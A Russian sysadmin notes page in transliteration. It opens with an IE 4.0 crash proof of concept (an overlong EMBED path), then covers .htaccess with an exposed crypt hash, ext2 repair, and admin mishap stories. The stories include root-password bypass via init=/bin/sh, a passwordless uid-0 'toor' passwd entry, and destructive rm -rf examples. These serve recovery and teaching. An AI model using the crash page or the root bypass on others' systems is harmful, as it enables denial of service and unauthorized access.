<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
&dDZakrytie katalogov dlya vneshnih klientov&d@
Sozdaem v kataloge fajl .htaccess takogo soderzhaniya
order deny,allow
deny from all
allow from polimos.ras.ru localhost
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau standartnyj crypt()
require valid-user
&dDSm. tak zhe&d@
Konstantin Okrainec. Uchebnik po HTML iz Dubny
Frejmy i prochie dopolneniya, voznikshie v HTML 2.0 i HTML 3
.
&dDRemont razrushennyh fajlovyh sistem&d@
Prakticheski edinstvennoe sredstvo lecheniya razrushenij fajlovoj sistemy vo
vseh Unix - utilita &dDfsck&d@. Esli ne lechit ona, to delo vashe pochti beznadezhno.
YA by posovetoval v morg, no entuziasty mogut eshche nemnogo podergat'sya.
&dD * LINUX * &d@
Primechanie: komandy privedennye v primerah sleduet vypolnyat' tol'ko
vnimatel'no vzvesiv vozmozhnye posledstviya. Poetomu v primerah real'nye
imena specfajlov razdelov zhestkogo diska zameneny na &dD/dev/hd-name&d@
(v real'noj zhizni primenyaetsya /dev/hda2, /dev/hdb3 /dev/sda1...)
Tonkaya rihtovka fs &dDtune2fs&d@ pozvolyaet pomenyat' nastraivaemye parametry
fajlovoj sistemy -c max-mount-counts -m reserved-blocks-percentage i t.p.
tune2fs -m 1 /dev/hd-name # najdet vam eshche 50Mb svobodnogo mesta,
# i pozvolit uchinit' na ostavshemsya klochke
# svobodnogo mesta katastroficheskuyu fragmentaciyu
Standartnoe lechenie fajlovoj sistemy:
fsck -y -c -f /dev/hd-name
Forsirovannoe lechenie s proverkoj i "zameshcheniem" bad-blokov
fsck -y -c -f /dev/hd-name
# -y neinteraktivnoe lechenie "yes" na vse voprosy
# -c najti bad-bloki readonly testom i perenesti v inod bad-blokov
# -f forsirovat' proverku (ignorirovat' flag "fs is clean"
Esli pogib osnovnoj superblok, dobavit' klyuch -b 8193 ili -b 16385 ...
ukazav zapasnuyu kopiyu. Nomera zapasnyh sb soobshchaet pri razmetke razdela
utilita newfs. (Vy konechno zhe sohranili ee listing?)
Raspechatat' razmeshchenie sluzhebnyh struktur fs i parametry suberbloka
mogut komandy &dDtune2fs -l&d@ i &dDdumpe2fs&d@
tune2fs /dev/hd-name
dumpe2fs /dev/hd-name
Esli pogibli _vse_ kopii superbloka - poslednij shans &dDmke2fs -S&d@ propisat'
_tol'ko_ struktury superblokov i opisateli grupp, ne trogaya samih dannyh
mke2fs -S /dev/hd-name # Write superblock and group descriptors only
fsck -y /dev/hd-name # srazu vsed za etim zapustit' fsck
I dazhe eto eshche ne konec. Dlya sil'nyh duhom ostaetsya otladchik fajlovoj
sistemy &dDdebugfs&d@
man debugfs
&dDPovedenie v avarinoj situacii&d@
Estestvenno, celee budete, esli zagruzites' v single-user mode
Dlya etogo perehvatit' pri zagruzke LILO-prompt (Left-alt)
I v komandu zagruzki dobavit' parametr single
Lilo: &dDlinux single&d@
V linux'ovskij single-user mozhno popast' tol'ko znaya parol' root. Ne znaya
parolya, nado gruzit'sya tak:
Lilo: linux init=/bin/sh
ili dazhe tak (esli podgotovlena rescue-disketa s fajlovoj sistemoj unix)
Lilo: linux init=/bin/sh root=/dev/fd0H1440
Peremontirovat' kornevoj razdel iz readonly v write
mount -t ext2 -n -o remount,rw /dev/hd-root /
Smontirovat' razrushennuyu fs, ispol'zuaya al'ternativnyj superblok
mount -t ext2 -o sb=8193,nocheck /dev/hd-name /mntname
Pdrobnosti (vy budete smeyat'sya):
man mount
.
&dDMaksim Moshkov. Istorii iz zhizni administratora Unix, ili Grabli&d@
&dDIstoriya 1 so schastlivym koncom. Isporchennyj /etc/passwd&d@
&dD
> Odin tovarishch (ne ya :), eto iz Komi) reshil svoemu root'y vmesto polozhennogo
> /sbin/sh sdelat' /bin/ksh
> Dlya chego otredaktiroval /etc/passwd, no neudachno, oshibsya i naznachil
> /sbin/ksh.
> Probovali:
> $ su root -c /sbin/sh
> Ne pomoglo. Teper' on gor'ko plachet i hakera zovet.
> Mozhesh' pomoch', ili surovoe: pereustanovi yunih?
&d@
|to my prohodili. Klassika. Pervo- napervo "nikogda, NIKOGDA
ne menyaj shell u superyuzera..." :-)
0. Zapustit' shell iz-pod root'a vse-taki mozhno: su root -m -s /bin/sh
No esli eshche i parol' zabyt, togda - pomozhet zagruzka v
single user mode ili zagruzka s CD/floppy/tape
1. Dat' komandu df, posmotret' minor/mazhor u devajsa, na
kotoryj montiruetsya koren', i zatem pochitat' manual po komande
mknod # mkdev, mknode, mksf - sozdat' special'nyj fajl
# ili kak tam eshche ona nazyvaetsya
i zapisat' na bumazhke komandu, kotoroj sozdaetsya
spec-fajl /dev/root (ili kuda tam montiruetsya "/"
2. Zagruzit'sya s installyacionnogo strimmera/diskety/CD.
i tam gde uhod na install/update/system maintance pojti na
"system maintence" (eto vsego navsego shell root'ovyj)
Ostalos' smontirovat' /dev/root na /mnt
i redaktirovat' /mnt/etc/passwd
&dDZasada No 1&d@
Srazu posle zagruzki mini-sistemy special'nyh fajlov
sootvetstvuyushchih zhestkomu disku net (!). Sdelat' ego ruchkami -
komanda mknode uzhe zapisana na bumazhke.
&dDZasada No 2&d@
Redaktor vi ne zapuskaetsya (Net terminfo) Nu i chert s nim.
Pridumaesh' chto nibud'. Naprimer
echo "toor::0:0:Yet another Super-User:/:" >> /mnt/etc/passwd
^^^^^^
obrati vnimanie chto >> a ne > (Ugadaj pochemu :-)
a mozhno i tak:
PATH=$PATH:/mnt/bin:/mnt/usr/bin export PATH
TERMINFO=/mnt/usr/lib/terminfo # ili gde on tam
Koroche - ty doma potrenirujsya, a potom v Komi napishi tochnye
imena fajlov i komand, a to boyus' neobuchennyj admin smozhet
promahnut'sya paru raz, a zdes' promahivat'sya nel'zya.
Prilozhenie: Obhod root passwd v Motorola Unix SVR4/88.
1. Posmotret' major/minor dlya / i /usr
104 0 /dev/root
104 3 /dev/dsk/m197_c0d0s3
2. Zagruzka s lenty, uhod na maintance .
3. Podmontirovat' razdely diska, sootvetstvuyushchie / i /usr, s
vosstanovleniem fajlovoj sistemy (t.k. sistema byla vyklyuchena nekorrektno
pri otsutstvii root parolya).
mkdir /mnt
mknod /dev/rootn b 104 0
/etc/fs/ufs/fsck /dev/rootn
mount -F ufs /dev/rootn /mnt
analogichno dlya /usr
mknod /dev/usr3 b 104 3
/etc/fs/ufs/fsck /dev/usr3
mount -F ufs /dev/usr3 /mnt/usr
4. Otredaktirovat' /etc/passwd, sdelat' besparol'nogo root
echo "toor::0:1:Adm:/:/sbin/sh" >> /mnt/etc/passwd
5. Cmenit' koren' root'u (budet v /mnt)
chroot /mnt /sbin/sh
6. Obnovit' shadow
pwconv
Vse.
&dDIstoriya 2 pochti o tom zhe. Isporchennyj /etc/fstab&d@
Date: 20 Apr 1997
From: Bernshtam Pavel (barnshte@CS.bgu.ac.il)
U menya tozhe bylo - zaportil ya /etc/fstab i sdelal reboot ne
zametiv oshibki - babah - podnimaetsya (a eto byl Axil s SunOS
4.1) v single user.
ya delayu ls - Command not found - ponyatno - ne zamountil /usr
posmotrel ya na drugom SUN'e chto est' v /sbin - nashel mount,
obradovalsya - sdelal /sbin/mount /usr.
Est' VI!
Pomuchalsya poka ustanovil nuzhnyj set TERM s polchasa - zapustil
VI. otkryvayu fstab - fignya so strokami (vot ono - ne rabotajte
v PICO, uchite VI !!!), ispravil, save'lyu - a root partition to
READ ONLY !!!
Delayu stop-A.
Slava bogu, posovetovali mne, chto v boot-monitore mozhno sdelat'
b -rw (zamauntit' s write), posle etogo ya povtoril vsyu
proceduru s mount i VI i ispravil /etc/fstab.
a... eshche zabyl - VI ne zapuskalsya poka ya /var ne zamauntil, t.k
/tmp - link na /var/tmp , a VI bez /tmp ne idet.
/* a na Linux special'naya komanda est' - peremontirovat'sya na
read-write - ee iz single-user-mode mozhno vypolnit'
mount -n -o remount /
*/
&dDKomanda rm -rf v SCO&d@
Vvidu togo, chto pod shablon ".*" podhodit katalog ".."
NIKOGDA NE DELAJTE KOMANDY rm -r .*
(Bol'shinstvo unix'ov proshchayut podobnuyu oshibku, no NE VSE)
&dD
From: Pavel Severov
"... reshil ya na nashem SCO-shnom servere s Oraclovskoj bazoj
raschistit' nemnogo svobodnogo mesta na diske..."
# cd /usr/tmp
# rm -rf *
glyazhu, a tam vsyakij hlam ostalsya /usr/tmp/.X11-0 nu i t.p.
A ya togda
# rm -rf .* # OJ!
# du
ldd: Can not open file
# df
ldd: Can not open file
# ls -al
ldd: Can not open file
&d@
. . .
U etoj istorii grustnyj konec. Vy uzhe dogadalis', chto
/usr/tmp/.* soderzhit v sebe /usr/tmp/.. Posle reboot'a mashina,
ne najdya kataloga /usr uzhe ne ozhila.
&dDUdalennyj dostup ili "Zapasnoj klyuch ot sejfa lezhit v sejfe"&d@
Horoshaya shtuka, Unix + TCP/IP - mozhno otkonfigurit' mashinu
u cherta na kulichkah ne vstavaya s rabochego mesta i dazhe ne
vyhodya iz doma.
&dDIstoriya 1.&d@ Vot i ya odnazhdy menyal to li IP-adres, to li
routing na udalennoj mashine... Koroche - promahnulsya, skazal
ifconfig eth0 down
Vot sobstvenno i vse. Skazat'
ifconfig eth0 NEW-IP bylo uzhe nekomu.
Vy konechno dogadalis', chto _NADO BYLO_ odnoj strokoj pisat'
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...
&dDIstoriya 2.&d@ Zahotelos' povysit' uroven' security. Pishem
v /etc/hosts.deny
ALL:ALL
v /etc/hosts.allow
ALL:193.263.12.13
^^^ vrode by malen'kaya oshibochka, cifry perestavit', a
nel'zya - ya uzhe uspel otloginit'sya.
&dDUdalennyj "dostup" ili "Klyucha voobshche net"&d@
Povis u nas odnazhdy server, nado reset nazhat',
peregruzit', a komnata zaperta, i klyuchi uzhe unesli. I telnet'om
ne vojdesh' - nekuda.
Vyrubili svet na vsem etazhe, vklyuchili vnov' - voila!
&dDNovaya /lib/libc.so - apgrejd LIB C&d@
Linux. 1993 god. Potrebovalos' podmenit' LibC. Nu, vpered,
delov-to - staruyu peredvinut', novuyu - na ee mesto.
cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.
Prishlos' gruzit'sya s diskety, montirovat' hd.
No, kak eto ni smeshno, v sleduyushchij raz te zhe komandy,
zapisannye v odnu stroku, srabotali. Ili bibliotechka v keshe
okazalas'... Temna voda v Linuxe. Vprochem, fajly iz kataloga
/sbin - obychno staticaly-linked - im dlya raboty razdelyaemaya
libc bez nadobnosti.
&dDIstoriya 1. Trusted mode - bezopasnost' prevyshe vsego&d@
V HP-UX novichki administratory ochen' lyubyat sam'om poigrat'
- GUI, myshinyj interfejs - administriruj na zdorov'e. Vot
tol'ko chitat' soobshcheniya nado - a oni po-anglijski vse.
Ochen' legko, odnim "Ok" v SAM vklyuchaetsya perevod sistemy v
trusted rezhim. Vklyuchayut, i ne zamechayut. A zamechayut cherez paru
dnej, kogda s treh raz ne ugadayut parol' root. V trusted rezhime
login posle etogo blokiruetsya sovsem, a drugogo yuzera PERED
|TIM zavesti - ne dogadyvayutsya.
Kak vsegda - nas spaset single user mode: perehvat
zagruzki v prompt IPL i zatem
IPL> hpux -is
A zatem zapusk sam. I perekonvertirovat' sistemu v "untrusted"
# mount -a
# sam
No esli vy uhitrilis' eshche i parol' na boot vklyuchit' - to
pomogajte sebe sami.
&dDIstoriya 2. Security class C2: o tom zhe, no v SCO&d@
Security class C2 - eto povyshennaya bezopasnost'. I povyshennyj
gemorroj dlya pol'zovatelej. I dlya administratora - tozhe.
Privelos' nam pozvonit' na zashchishchennuyu SCO mashinu iz Moskvy
v Piter, po modemu. Skorosti getty s pervogo raza podobrat' ne
smogli, na login proryvalsya 6-bitnyj musor, posle tret'ej
popytki vmesto getty Login my uvideli "Intruder attempts, tty
line /dev/modem disabled".
CHerez paru nedel' hozyain mashiny vernulsya v Piter i vernul getty.
&dDScreen-sejver i knopka Enter&d@
Kogda screen-saver gasit ekran, chto vy nazhimaete? Ne znayu, kak ostal'nye, a
ya zhmu klavishu CTRL.
Odin moj znakomyj reshil pochistit' katalog /tmp. Iz-pod root'a. nabiraet on
rm -rf /tmp/*, tochnee hochet nabrat', poskol'ku v moment
rm -rf /_ zvonit telefon i ego kuda-to vyzyvayut.
CHerez chas on vernulsya, uvidel pogashennyj ekran, i nazhal _svoyu_ lyubimuyu
klavishu. Ugadajte, kakuyu?
.
Last-modified: Mon, 10 Sep 2001 12:43:31 GMT
